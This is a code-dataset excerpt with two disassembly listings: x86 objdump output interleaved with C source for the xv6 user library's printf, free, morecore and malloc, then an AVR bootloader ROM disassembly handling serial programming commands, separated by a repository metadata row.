1078: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
107b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
1082: 8b 4d f4 mov -0xc(%ebp),%ecx
1085: 8d 41 01 lea 0x1(%ecx),%eax
1088: 89 45 f4 mov %eax,-0xc(%ebp)
108b: 8b 5d 10 mov 0x10(%ebp),%ebx
108e: 8b 45 ec mov -0x14(%ebp),%eax
1091: ba 00 00 00 00 mov $0x0,%edx
1096: f7 f3 div %ebx
1098: 89 d0 mov %edx,%eax
109a: 0f b6 80 56 1a 00 00 movzbl 0x1a56(%eax),%eax
10a1: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
10a5: 8b 75 10 mov 0x10(%ebp),%esi
10a8: 8b 45 ec mov -0x14(%ebp),%eax
10ab: ba 00 00 00 00 mov $0x0,%edx
10b0: f7 f6 div %esi
10b2: 89 45 ec mov %eax,-0x14(%ebp)
10b5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
10b9: 75 c7 jne 1082 <printint+0x39>
if(neg)
10bb: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
10bf: 74 10 je 10d1 <printint+0x88>
buf[i++] = '-';
10c1: 8b 45 f4 mov -0xc(%ebp),%eax
10c4: 8d 50 01 lea 0x1(%eax),%edx
10c7: 89 55 f4 mov %edx,-0xc(%ebp)
10ca: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
10cf: eb 1f jmp 10f0 <printint+0xa7>
10d1: eb 1d jmp 10f0 <printint+0xa7>
putc(fd, buf[i]);
10d3: 8d 55 dc lea -0x24(%ebp),%edx
10d6: 8b 45 f4 mov -0xc(%ebp),%eax
10d9: 01 d0 add %edx,%eax
10db: 0f b6 00 movzbl (%eax),%eax
10de: 0f be c0 movsbl %al,%eax
10e1: 89 44 24 04 mov %eax,0x4(%esp)
10e5: 8b 45 08 mov 0x8(%ebp),%eax
10e8: 89 04 24 mov %eax,(%esp)
10eb: e8 31 ff ff ff call 1021 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
10f0: 83 6d f4 01 subl $0x1,-0xc(%ebp)
10f4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
10f8: 79 d9 jns 10d3 <printint+0x8a>
putc(fd, buf[i]);
}
10fa: 83 c4 30 add $0x30,%esp
10fd: 5b pop %ebx
10fe: 5e pop %esi
10ff: 5d pop %ebp
1100: c3 ret
00001101 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
1101: 55 push %ebp
1102: 89 e5 mov %esp,%ebp
1104: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
1107: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
110e: 8d 45 0c lea 0xc(%ebp),%eax
1111: 83 c0 04 add $0x4,%eax
1114: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
1117: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
111e: e9 7c 01 00 00 jmp 129f <printf+0x19e>
c = fmt[i] & 0xff;
1123: 8b 55 0c mov 0xc(%ebp),%edx
1126: 8b 45 f0 mov -0x10(%ebp),%eax
1129: 01 d0 add %edx,%eax
112b: 0f b6 00 movzbl (%eax),%eax
112e: 0f be c0 movsbl %al,%eax
1131: 25 ff 00 00 00 and $0xff,%eax
1136: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
1139: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
113d: 75 2c jne 116b <printf+0x6a>
if(c == '%'){
113f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1143: 75 0c jne 1151 <printf+0x50>
state = '%';
1145: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
114c: e9 4a 01 00 00 jmp 129b <printf+0x19a>
} else {
putc(fd, c);
1151: 8b 45 e4 mov -0x1c(%ebp),%eax
1154: 0f be c0 movsbl %al,%eax
1157: 89 44 24 04 mov %eax,0x4(%esp)
115b: 8b 45 08 mov 0x8(%ebp),%eax
115e: 89 04 24 mov %eax,(%esp)
1161: e8 bb fe ff ff call 1021 <putc>
1166: e9 30 01 00 00 jmp 129b <printf+0x19a>
}
} else if(state == '%'){
116b: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
116f: 0f 85 26 01 00 00 jne 129b <printf+0x19a>
if(c == 'd'){
1175: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
1179: 75 2d jne 11a8 <printf+0xa7>
printint(fd, *ap, 10, 1);
117b: 8b 45 e8 mov -0x18(%ebp),%eax
117e: 8b 00 mov (%eax),%eax
1180: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
1187: 00
1188: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
118f: 00
1190: 89 44 24 04 mov %eax,0x4(%esp)
1194: 8b 45 08 mov 0x8(%ebp),%eax
1197: 89 04 24 mov %eax,(%esp)
119a: e8 aa fe ff ff call 1049 <printint>
ap++;
119f: 83 45 e8 04 addl $0x4,-0x18(%ebp)
11a3: e9 ec 00 00 00 jmp 1294 <printf+0x193>
} else if(c == 'x' || c == 'p'){
11a8: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
11ac: 74 06 je 11b4 <printf+0xb3>
11ae: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
11b2: 75 2d jne 11e1 <printf+0xe0>
printint(fd, *ap, 16, 0);
11b4: 8b 45 e8 mov -0x18(%ebp),%eax
11b7: 8b 00 mov (%eax),%eax
11b9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
11c0: 00
11c1: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
11c8: 00
11c9: 89 44 24 04 mov %eax,0x4(%esp)
11cd: 8b 45 08 mov 0x8(%ebp),%eax
11d0: 89 04 24 mov %eax,(%esp)
11d3: e8 71 fe ff ff call 1049 <printint>
ap++;
11d8: 83 45 e8 04 addl $0x4,-0x18(%ebp)
11dc: e9 b3 00 00 00 jmp 1294 <printf+0x193>
} else if(c == 's'){
11e1: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
11e5: 75 45 jne 122c <printf+0x12b>
s = (char*)*ap;
11e7: 8b 45 e8 mov -0x18(%ebp),%eax
11ea: 8b 00 mov (%eax),%eax
11ec: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
11ef: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
11f3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
11f7: 75 09 jne 1202 <printf+0x101>
s = "(null)";
11f9: c7 45 f4 c0 15 00 00 movl $0x15c0,-0xc(%ebp)
while(*s != 0){
1200: eb 1e jmp 1220 <printf+0x11f>
1202: eb 1c jmp 1220 <printf+0x11f>
putc(fd, *s);
1204: 8b 45 f4 mov -0xc(%ebp),%eax
1207: 0f b6 00 movzbl (%eax),%eax
120a: 0f be c0 movsbl %al,%eax
120d: 89 44 24 04 mov %eax,0x4(%esp)
1211: 8b 45 08 mov 0x8(%ebp),%eax
1214: 89 04 24 mov %eax,(%esp)
1217: e8 05 fe ff ff call 1021 <putc>
s++;
121c: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1220: 8b 45 f4 mov -0xc(%ebp),%eax
1223: 0f b6 00 movzbl (%eax),%eax
1226: 84 c0 test %al,%al
1228: 75 da jne 1204 <printf+0x103>
122a: eb 68 jmp 1294 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
122c: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
1230: 75 1d jne 124f <printf+0x14e>
putc(fd, *ap);
1232: 8b 45 e8 mov -0x18(%ebp),%eax
1235: 8b 00 mov (%eax),%eax
1237: 0f be c0 movsbl %al,%eax
123a: 89 44 24 04 mov %eax,0x4(%esp)
123e: 8b 45 08 mov 0x8(%ebp),%eax
1241: 89 04 24 mov %eax,(%esp)
1244: e8 d8 fd ff ff call 1021 <putc>
ap++;
1249: 83 45 e8 04 addl $0x4,-0x18(%ebp)
124d: eb 45 jmp 1294 <printf+0x193>
} else if(c == '%'){
124f: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
1253: 75 17 jne 126c <printf+0x16b>
putc(fd, c);
1255: 8b 45 e4 mov -0x1c(%ebp),%eax
1258: 0f be c0 movsbl %al,%eax
125b: 89 44 24 04 mov %eax,0x4(%esp)
125f: 8b 45 08 mov 0x8(%ebp),%eax
1262: 89 04 24 mov %eax,(%esp)
1265: e8 b7 fd ff ff call 1021 <putc>
126a: eb 28 jmp 1294 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
126c: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
1273: 00
1274: 8b 45 08 mov 0x8(%ebp),%eax
1277: 89 04 24 mov %eax,(%esp)
127a: e8 a2 fd ff ff call 1021 <putc>
putc(fd, c);
127f: 8b 45 e4 mov -0x1c(%ebp),%eax
1282: 0f be c0 movsbl %al,%eax
1285: 89 44 24 04 mov %eax,0x4(%esp)
1289: 8b 45 08 mov 0x8(%ebp),%eax
128c: 89 04 24 mov %eax,(%esp)
128f: e8 8d fd ff ff call 1021 <putc>
}
state = 0;
1294: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
129b: 83 45 f0 01 addl $0x1,-0x10(%ebp)
129f: 8b 55 0c mov 0xc(%ebp),%edx
12a2: 8b 45 f0 mov -0x10(%ebp),%eax
12a5: 01 d0 add %edx,%eax
12a7: 0f b6 00 movzbl (%eax),%eax
12aa: 84 c0 test %al,%al
12ac: 0f 85 71 fe ff ff jne 1123 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
12b2: c9 leave
12b3: c3 ret
000012b4 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
12b4: 55 push %ebp
12b5: 89 e5 mov %esp,%ebp
12b7: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
12ba: 8b 45 08 mov 0x8(%ebp),%eax
12bd: 83 e8 08 sub $0x8,%eax
12c0: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12c3: a1 ec 1a 00 00 mov 0x1aec,%eax
12c8: 89 45 fc mov %eax,-0x4(%ebp)
12cb: eb 24 jmp 12f1 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
12cd: 8b 45 fc mov -0x4(%ebp),%eax
12d0: 8b 00 mov (%eax),%eax
12d2: 3b 45 fc cmp -0x4(%ebp),%eax
12d5: 77 12 ja 12e9 <free+0x35>
12d7: 8b 45 f8 mov -0x8(%ebp),%eax
12da: 3b 45 fc cmp -0x4(%ebp),%eax
12dd: 77 24 ja 1303 <free+0x4f>
12df: 8b 45 fc mov -0x4(%ebp),%eax
12e2: 8b 00 mov (%eax),%eax
12e4: 3b 45 f8 cmp -0x8(%ebp),%eax
12e7: 77 1a ja 1303 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
12e9: 8b 45 fc mov -0x4(%ebp),%eax
12ec: 8b 00 mov (%eax),%eax
12ee: 89 45 fc mov %eax,-0x4(%ebp)
12f1: 8b 45 f8 mov -0x8(%ebp),%eax
12f4: 3b 45 fc cmp -0x4(%ebp),%eax
12f7: 76 d4 jbe 12cd <free+0x19>
12f9: 8b 45 fc mov -0x4(%ebp),%eax
12fc: 8b 00 mov (%eax),%eax
12fe: 3b 45 f8 cmp -0x8(%ebp),%eax
1301: 76 ca jbe 12cd <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
1303: 8b 45 f8 mov -0x8(%ebp),%eax
1306: 8b 40 04 mov 0x4(%eax),%eax
1309: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1310: 8b 45 f8 mov -0x8(%ebp),%eax
1313: 01 c2 add %eax,%edx
1315: 8b 45 fc mov -0x4(%ebp),%eax
1318: 8b 00 mov (%eax),%eax
131a: 39 c2 cmp %eax,%edx
131c: 75 24 jne 1342 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
131e: 8b 45 f8 mov -0x8(%ebp),%eax
1321: 8b 50 04 mov 0x4(%eax),%edx
1324: 8b 45 fc mov -0x4(%ebp),%eax
1327: 8b 00 mov (%eax),%eax
1329: 8b 40 04 mov 0x4(%eax),%eax
132c: 01 c2 add %eax,%edx
132e: 8b 45 f8 mov -0x8(%ebp),%eax
1331: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
1334: 8b 45 fc mov -0x4(%ebp),%eax
1337: 8b 00 mov (%eax),%eax
1339: 8b 10 mov (%eax),%edx
133b: 8b 45 f8 mov -0x8(%ebp),%eax
133e: 89 10 mov %edx,(%eax)
1340: eb 0a jmp 134c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
1342: 8b 45 fc mov -0x4(%ebp),%eax
1345: 8b 10 mov (%eax),%edx
1347: 8b 45 f8 mov -0x8(%ebp),%eax
134a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
134c: 8b 45 fc mov -0x4(%ebp),%eax
134f: 8b 40 04 mov 0x4(%eax),%eax
1352: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
1359: 8b 45 fc mov -0x4(%ebp),%eax
135c: 01 d0 add %edx,%eax
135e: 3b 45 f8 cmp -0x8(%ebp),%eax
1361: 75 20 jne 1383 <free+0xcf>
p->s.size += bp->s.size;
1363: 8b 45 fc mov -0x4(%ebp),%eax
1366: 8b 50 04 mov 0x4(%eax),%edx
1369: 8b 45 f8 mov -0x8(%ebp),%eax
136c: 8b 40 04 mov 0x4(%eax),%eax
136f: 01 c2 add %eax,%edx
1371: 8b 45 fc mov -0x4(%ebp),%eax
1374: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
1377: 8b 45 f8 mov -0x8(%ebp),%eax
137a: 8b 10 mov (%eax),%edx
137c: 8b 45 fc mov -0x4(%ebp),%eax
137f: 89 10 mov %edx,(%eax)
1381: eb 08 jmp 138b <free+0xd7>
} else
p->s.ptr = bp;
1383: 8b 45 fc mov -0x4(%ebp),%eax
1386: 8b 55 f8 mov -0x8(%ebp),%edx
1389: 89 10 mov %edx,(%eax)
freep = p;
138b: 8b 45 fc mov -0x4(%ebp),%eax
138e: a3 ec 1a 00 00 mov %eax,0x1aec
}
1393: c9 leave
1394: c3 ret
00001395 <morecore>:
static Header*
morecore(uint nu)
{
1395: 55 push %ebp
1396: 89 e5 mov %esp,%ebp
1398: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
139b: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
13a2: 77 07 ja 13ab <morecore+0x16>
nu = 4096;
13a4: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
13ab: 8b 45 08 mov 0x8(%ebp),%eax
13ae: c1 e0 03 shl $0x3,%eax
13b1: 89 04 24 mov %eax,(%esp)
13b4: e8 30 fc ff ff call fe9 <sbrk>
13b9: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
13bc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
13c0: 75 07 jne 13c9 <morecore+0x34>
return 0;
13c2: b8 00 00 00 00 mov $0x0,%eax
13c7: eb 22 jmp 13eb <morecore+0x56>
hp = (Header*)p;
13c9: 8b 45 f4 mov -0xc(%ebp),%eax
13cc: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
13cf: 8b 45 f0 mov -0x10(%ebp),%eax
13d2: 8b 55 08 mov 0x8(%ebp),%edx
13d5: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
13d8: 8b 45 f0 mov -0x10(%ebp),%eax
13db: 83 c0 08 add $0x8,%eax
13de: 89 04 24 mov %eax,(%esp)
13e1: e8 ce fe ff ff call 12b4 <free>
return freep;
13e6: a1 ec 1a 00 00 mov 0x1aec,%eax
}
13eb: c9 leave
13ec: c3 ret
000013ed <malloc>:
void*
malloc(uint nbytes)
{
13ed: 55 push %ebp
13ee: 89 e5 mov %esp,%ebp
13f0: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
13f3: 8b 45 08 mov 0x8(%ebp),%eax
13f6: 83 c0 07 add $0x7,%eax
13f9: c1 e8 03 shr $0x3,%eax
13fc: 83 c0 01 add $0x1,%eax
13ff: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
1402: a1 ec 1a 00 00 mov 0x1aec,%eax
1407: 89 45 f0 mov %eax,-0x10(%ebp)
140a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
140e: 75 23 jne 1433 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
1410: c7 45 f0 e4 1a 00 00 movl $0x1ae4,-0x10(%ebp)
1417: 8b 45 f0 mov -0x10(%ebp),%eax
141a: a3 ec 1a 00 00 mov %eax,0x1aec
141f: a1 ec 1a 00 00 mov 0x1aec,%eax
1424: a3 e4 1a 00 00 mov %eax,0x1ae4
base.s.size = 0;
1429: c7 05 e8 1a 00 00 00 movl $0x0,0x1ae8
1430: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1433: 8b 45 f0 mov -0x10(%ebp),%eax
1436: 8b 00 mov (%eax),%eax
1438: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
143b: 8b 45 f4 mov -0xc(%ebp),%eax
143e: 8b 40 04 mov 0x4(%eax),%eax
1441: 3b 45 ec cmp -0x14(%ebp),%eax
1444: 72 4d jb 1493 <malloc+0xa6>
if(p->s.size == nunits)
1446: 8b 45 f4 mov -0xc(%ebp),%eax
1449: 8b 40 04 mov 0x4(%eax),%eax
144c: 3b 45 ec cmp -0x14(%ebp),%eax
144f: 75 0c jne 145d <malloc+0x70>
prevp->s.ptr = p->s.ptr;
1451: 8b 45 f4 mov -0xc(%ebp),%eax
1454: 8b 10 mov (%eax),%edx
1456: 8b 45 f0 mov -0x10(%ebp),%eax
1459: 89 10 mov %edx,(%eax)
145b: eb 26 jmp 1483 <malloc+0x96>
else {
p->s.size -= nunits;
145d: 8b 45 f4 mov -0xc(%ebp),%eax
1460: 8b 40 04 mov 0x4(%eax),%eax
1463: 2b 45 ec sub -0x14(%ebp),%eax
1466: 89 c2 mov %eax,%edx
1468: 8b 45 f4 mov -0xc(%ebp),%eax
146b: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
146e: 8b 45 f4 mov -0xc(%ebp),%eax
1471: 8b 40 04 mov 0x4(%eax),%eax
1474: c1 e0 03 shl $0x3,%eax
1477: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
147a: 8b 45 f4 mov -0xc(%ebp),%eax
147d: 8b 55 ec mov -0x14(%ebp),%edx
1480: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
1483: 8b 45 f0 mov -0x10(%ebp),%eax
1486: a3 ec 1a 00 00 mov %eax,0x1aec
return (void*)(p + 1);
148b: 8b 45 f4 mov -0xc(%ebp),%eax
148e: 83 c0 08 add $0x8,%eax
1491: eb 38 jmp 14cb <malloc+0xde>
}
if(p == freep)
1493: a1 ec 1a 00 00 mov 0x1aec,%eax
1498: 39 45 f4 cmp %eax,-0xc(%ebp)
149b: 75 1b jne 14b8 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
149d: 8b 45 ec mov -0x14(%ebp),%eax
14a0: 89 04 24 mov %eax,(%esp)
14a3: e8 ed fe ff ff call 1395 <morecore>
14a8: 89 45 f4 mov %eax,-0xc(%ebp)
14ab: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
14af: 75 07 jne 14b8 <malloc+0xcb>
return 0;
14b1: b8 00 00 00 00 mov $0x0,%eax
14b6: eb 13 jmp 14cb <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
14b8: 8b 45 f4 mov -0xc(%ebp),%eax
14bb: 89 45 f0 mov %eax,-0x10(%ebp)
14be: 8b 45 f4 mov -0xc(%ebp),%eax
14c1: 8b 00 mov (%eax),%eax
14c3: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
14c6: e9 70 ff ff ff jmp 143b <malloc+0x4e>
}
14cb: c9 leave
14cc: c3 ret
| 37.82204
| 71
| 0.424461
|
750d546e592177f8f6fb9db34168078c95f59c91
| 10,414
|
asm
|
Assembly
|
bootice16_rom_trimmed.hex.asm
|
xiaolaba/AVR_dissassembly_with_avr-objdump
|
5d4fb2f5bc95c799208f191854071bf9c65833d6
|
[
"MIT"
] | null | null | null |
bootice16_rom_trimmed.hex.asm
|
xiaolaba/AVR_dissassembly_with_avr-objdump
|
5d4fb2f5bc95c799208f191854071bf9c65833d6
|
[
"MIT"
] | null | null | null |
bootice16_rom_trimmed.hex.asm
|
xiaolaba/AVR_dissassembly_with_avr-objdump
|
5d4fb2f5bc95c799208f191854071bf9c65833d6
|
[
"MIT"
] | null | null | null |
bootice16_rom_trimmed.hex: file format ihex
Disassembly of section .sec1:
00003800 <.sec1>:
3800: 3f ef ldi r19, 0xFF ; 255
3802: 3d bf out 0x3d, r19 ; 61
3804: 33 e0 ldi r19, 0x03 ; 3
3806: 3e bf out 0x3e, r19 ; 62
3808: 30 e0 ldi r19, 0x00 ; 0
380a: 30 bd out 0x20, r19 ; 32
380c: 37 e1 ldi r19, 0x17 ; 23
380e: 39 b9 out 0x09, r19 ; 9
3810: 30 e4 ldi r19, 0x40 ; 64
3812: 3b b9 out 0x0b, r19 ; 11
3814: 38 e1 ldi r19, 0x18 ; 24
3816: 3a b9 out 0x0a, r19 ; 10
3818: 36 e8 ldi r19, 0x86 ; 134
381a: 30 bd out 0x20, r19 ; 32
381c: cc d0 rcall .+408 ; 0x39b6
381e: a3 2f mov r26, r19
3820: a0 37 cpi r26, 0x70 ; 112
3822: 19 f4 brne .+6 ; 0x382a
3824: 33 e5 ldi r19, 0x53 ; 83
3826: c3 d0 rcall .+390 ; 0x39ae
3828: bb c0 rjmp .+374 ; 0x39a0
382a: a1 36 cpi r26, 0x61 ; 97
382c: 19 f4 brne .+6 ; 0x3834
382e: 39 e5 ldi r19, 0x59 ; 89
3830: be d0 rcall .+380 ; 0x39ae
3832: b6 c0 rjmp .+364 ; 0x39a0
3834: a3 35 cpi r26, 0x53 ; 83
3836: 79 f4 brne .+30 ; 0x3856
3838: 31 e4 ldi r19, 0x41 ; 65
383a: b9 d0 rcall .+370 ; 0x39ae
383c: 36 e5 ldi r19, 0x56 ; 86
383e: b7 d0 rcall .+366 ; 0x39ae
3840: 32 e5 ldi r19, 0x52 ; 82
3842: b5 d0 rcall .+362 ; 0x39ae
3844: 32 e4 ldi r19, 0x42 ; 66
3846: b3 d0 rcall .+358 ; 0x39ae
3848: 3f e4 ldi r19, 0x4F ; 79
384a: b1 d0 rcall .+354 ; 0x39ae
384c: 3f e4 ldi r19, 0x4F ; 79
384e: af d0 rcall .+350 ; 0x39ae
3850: 34 e5 ldi r19, 0x54 ; 84
3852: ad d0 rcall .+346 ; 0x39ae
3854: a5 c0 rjmp .+330 ; 0x39a0
3856: a4 37 cpi r26, 0x74 ; 116
3858: 29 f4 brne .+10 ; 0x3864
385a: 34 e6 ldi r19, 0x64 ; 100
385c: a8 d0 rcall .+336 ; 0x39ae
385e: 30 e0 ldi r19, 0x00 ; 0
3860: a6 d0 rcall .+332 ; 0x39ae
3862: 9e c0 rjmp .+316 ; 0x39a0
3864: a6 35 cpi r26, 0x56 ; 86
3866: 29 f4 brne .+10 ; 0x3872
3868: 32 e3 ldi r19, 0x32 ; 50
386a: a1 d0 rcall .+322 ; 0x39ae
386c: 31 e3 ldi r19, 0x31 ; 49
386e: 9f d0 rcall .+318 ; 0x39ae
3870: 97 c0 rjmp .+302 ; 0x39a0
3872: a4 35 cpi r26, 0x54 ; 84
3874: 09 f4 brne .+2 ; 0x3878
3876: 8a c0 rjmp .+276 ; 0x398c
3878: a1 34 cpi r26, 0x41 ; 65
387a: 49 f4 brne .+18 ; 0x388e
387c: 9c d0 rcall .+312 ; 0x39b6
387e: f3 2f mov r31, r19
3880: 9a d0 rcall .+308 ; 0x39b6
3882: e3 2f mov r30, r19
3884: ee 0f add r30, r30
3886: ff 1f adc r31, r31
3888: 3d e0 ldi r19, 0x0D ; 13
388a: 91 d0 rcall .+290 ; 0x39ae
388c: 89 c0 rjmp .+274 ; 0x39a0
388e: a0 35 cpi r26, 0x50 ; 80
3890: 19 f4 brne .+6 ; 0x3898
3892: 3d e0 ldi r19, 0x0D ; 13
3894: 8c d0 rcall .+280 ; 0x39ae
3896: 84 c0 rjmp .+264 ; 0x39a0
3898: ac 34 cpi r26, 0x4C ; 76
389a: 19 f4 brne .+6 ; 0x38a2
389c: 3d e0 ldi r19, 0x0D ; 13
389e: 87 d0 rcall .+270 ; 0x39ae
38a0: 7f c0 rjmp .+254 ; 0x39a0
38a2: a3 37 cpi r26, 0x73 ; 115
38a4: 39 f4 brne .+14 ; 0x38b4
38a6: 3e e1 ldi r19, 0x1E ; 30
38a8: 82 d0 rcall .+260 ; 0x39ae
38aa: 34 e9 ldi r19, 0x94 ; 148
38ac: 80 d0 rcall .+256 ; 0x39ae
38ae: 32 e0 ldi r19, 0x02 ; 2
38b0: 7e d0 rcall .+252 ; 0x39ae
38b2: 76 c0 rjmp .+236 ; 0x39a0
38b4: a4 36 cpi r26, 0x64 ; 100
38b6: 49 f4 brne .+18 ; 0x38ca
38b8: ee bb out 0x1e, r30 ; 30
38ba: ff bb out 0x1f, r31 ; 31
38bc: e0 9a sbi 0x1c, 0 ; 28
38be: 0d b2 in r0, 0x1d ; 29
38c0: ef 5f subi r30, 0xFF ; 255
38c2: ff 4f sbci r31, 0xFF ; 255
38c4: 30 2d mov r19, r0
38c6: 73 d0 rcall .+230 ; 0x39ae
38c8: 6b c0 rjmp .+214 ; 0x39a0
38ca: a2 35 cpi r26, 0x52 ; 82
38cc: 61 f4 brne .+24 ; 0x38e6
38ce: c8 95 lpm
38d0: 10 2c mov r1, r0
38d2: ef 5f subi r30, 0xFF ; 255
38d4: ff 4f sbci r31, 0xFF ; 255
38d6: c8 95 lpm
38d8: ef 5f subi r30, 0xFF ; 255
38da: ff 4f sbci r31, 0xFF ; 255
38dc: 30 2d mov r19, r0
38de: 67 d0 rcall .+206 ; 0x39ae
38e0: 31 2d mov r19, r1
38e2: 65 d0 rcall .+202 ; 0x39ae
38e4: 5d c0 rjmp .+186 ; 0x39a0
38e6: a3 36 cpi r26, 0x63 ; 99
38e8: 09 f5 brne .+66 ; 0x392c
38ea: 65 d0 rcall .+202 ; 0x39b6
38ec: f3 2e mov r15, r19
38ee: 0e 2f mov r16, r30
38f0: 0f 77 andi r16, 0x7F ; 127
38f2: 00 23 and r16, r16
38f4: b9 f4 brne .+46 ; 0x3924
38f6: 33 e0 ldi r19, 0x03 ; 3
38f8: 37 bf out 0x37, r19 ; 55
38fa: e8 95 spm
38fc: 52 d0 rcall .+164 ; 0x39a2
38fe: 3f ef ldi r19, 0xFF ; 255
3900: 03 2e mov r0, r19
3902: 13 2e mov r1, r19
3904: ff 93 push r31
3906: ef 93 push r30
3908: 10 e0 ldi r17, 0x00 ; 0
390a: 31 e0 ldi r19, 0x01 ; 1
390c: 37 bf out 0x37, r19 ; 55
390e: e8 95 spm
3910: 32 96 adiw r30, 0x02 ; 2
3912: 1f 33 cpi r17, 0x3F ; 63
3914: 11 f0 breq .+4 ; 0x391a
3916: 13 95 inc r17
3918: f8 cf rjmp .-16 ; 0x390a
391a: ef 91 pop r30
391c: ff 91 pop r31
391e: 37 b7 in r19, 0x37 ; 55
3920: 30 fd sbrc r19, 0
3922: fd cf rjmp .-6 ; 0x391e
3924: 0f 2c mov r0, r15
3926: 3d e0 ldi r19, 0x0D ; 13
3928: 42 d0 rcall .+132 ; 0x39ae
392a: 3a c0 rjmp .+116 ; 0x39a0
392c: a3 34 cpi r26, 0x43 ; 67
392e: 49 f4 brne .+18 ; 0x3942
3930: 42 d0 rcall .+132 ; 0x39b6
3932: 13 2e mov r1, r19
3934: 31 e0 ldi r19, 0x01 ; 1
3936: 37 bf out 0x37, r19 ; 55
3938: e8 95 spm
393a: 32 96 adiw r30, 0x02 ; 2
393c: 3d e0 ldi r19, 0x0D ; 13
393e: 37 d0 rcall .+110 ; 0x39ae
3940: 2f c0 rjmp .+94 ; 0x39a0
3942: ad 36 cpi r26, 0x6D ; 109
3944: 39 f4 brne .+14 ; 0x3954
3946: 35 e0 ldi r19, 0x05 ; 5
3948: 37 bf out 0x37, r19 ; 55
394a: e8 95 spm
394c: 2a d0 rcall .+84 ; 0x39a2
394e: 3d e0 ldi r19, 0x0D ; 13
